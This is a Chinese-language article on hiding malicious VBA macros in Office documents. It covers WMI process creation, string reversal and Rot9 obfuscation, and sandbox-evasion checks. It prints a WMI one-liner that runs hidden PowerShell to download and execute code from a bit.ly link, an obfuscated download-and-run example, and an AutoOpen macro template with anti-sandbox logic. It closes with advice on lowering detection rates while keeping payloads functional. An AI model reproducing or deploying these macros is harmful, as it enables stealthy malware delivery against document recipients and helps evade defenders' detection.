攻击者是如何隐藏恶意VBA 代码行为的
字数 1286 2025-08-19 12:40:43
恶意VBA代码隐藏技术详解
1. 进程创建方法比较
在VBA中创建进程有多种方法,每种方法都有其优缺点:
1.1 传统方法
- Shell$、Shell或WScript.Shell.Run
- 父进程显示为Office应用程序进程
- 容易被发现,特别是创建powershell.exe时
- 业务进程常用这些方法运行reg.exe、ping.exe、cmd.exe等
1.2 WMI方法
- 使用WMI创建进程
- 进程由wmiprvse.exe(WMI服务进程)创建
- 除非WMI活动被监视,否则不易被发现
- 业务进程很少使用WMI创建进程,因此一旦发现就很可疑
- 总是包含三个VBA元素:GetObject()、Get()和.Create
2. Empire框架分析
PowerShell Empire的VBA构建器使用WMI创建进程:
- 变量名和字符串会出现在文档的嵌入式OLE文件中
- 默认存储在vbaProject.bin文件中
- 许多元素是静态的,便于创建检测签名
优点:
- 可通过objConfig.ShowWindow=0实现"悄无声息"的进程创建
- 若不设置此属性,进程会在任务栏短暂出现
一行代码实现:
GetObject("winmgmts:\\.\root\cimv2").Get("Win32_Process").Create "cmd.exe /c powershell.exe -nop -w hidden -noni -c \"IEX ((new-object net.webclient).downloadstring('http://bit.ly/2KZ4IqN'))\"", Null, Null, intProcessID
3. 混淆技术
3.1 字符串反转
使用StrReverse()函数隐藏字符串:
- 字符串可以存储在任何位置
- 不必以GetObject()所需的形式存储
- 未定义变量可用作Null,减少方法线索
3.2 有效载荷处理原则
-
大小决定处理方式:
- 小有效载荷:无需太多重组
- 大有效载荷:可能需要字符串连接(VBA最大字符串长度1024)
-
应避免大量使用的函数:
- Left()、Right()、Mid()、Chr()、ChrW()等字符串操作函数
- 简单的去混淆方法如"Chr(115) + Chr(116) + Chr(117)"容易被检测
3.3 高级混淆示例
- 使用月份和工作日名称命名函数
- 对所有字符串进行编码处理
- 使用未初始化变量表示Null和0值
- Rot9等非标准编码方式
PowerShell实现Rot9处理:
[System.Text.Encoding]::ASCII.GetBytes("YourPayload") | % { $rot9 = ($_ + 9) % 256; "{0:D3}" -f $rot9 }
4. 反沙箱和反FakeNet技术
4.1 检测技术
-
检查location.microsoft.com:
- 若能解析或ping通,说明在FakeNet中(该域名不存在)
-
检查环境变量:
- 比较userdomain和computername值
- 若相同,说明系统未加入域
4.2 实现方式
- 使用WMI方法Win32_PingStatus
- 使wmiprvse.exe成为与DNS和ICMP流量相关的进程
- 避免流量来自WINWORD.EXE进程
5. 降低检出率的建议
-
避免使用攻击模拟框架中的代码:
- 安全公司会从中提取指纹
-
对有效载荷进行非标准加密或编码:
- 使静态分析难以识别
-
谨慎使用常见函数:
- 如必须使用Chr()等函数,应将其分散使用
-
构建高质量VBA代码:
- 结合多种混淆技术
- 了解Office内部运行机制
6. 实际应用示例
6.1 简单混淆示例
Dim strCommand As String
strCommand = StrReverse("exe.elohwspower") & " -nop -w hidden -noni -c " & Chr(34) & "IEX (New-Object Net.WebClient).DownloadString('http://example.com/malicious')" & Chr(34)
GetObject("winmgmts:\\.\root\cimv2").Get("Win32_Process").Create strCommand, Null, Null, intProcessID
6.2 高级混淆示例
Function December(ByVal s As String) As String
Dim i As Integer
For i = 1 To Len(s) Step 3
December = December & Chr(Val(Mid(s, i, 3)) - 9)
Next i
End Function
Sub AutoOpen()
If Not (Environ("userdomain") = Environ("computername")) Then
If Not CanResolve("location.microsoft.com") Then
Dim payload As String
payload = December("122131134134040122131134134040122131134134040") ' Rot9混淆的payload
GetObject("winmgmts:" & June("...")).Get(June("...")).Create payload, Null, Null, Null
End If
End If
End Sub
通过结合这些技术,可以显著降低恶意VBA代码被检测到的概率,同时保持其功能完整性。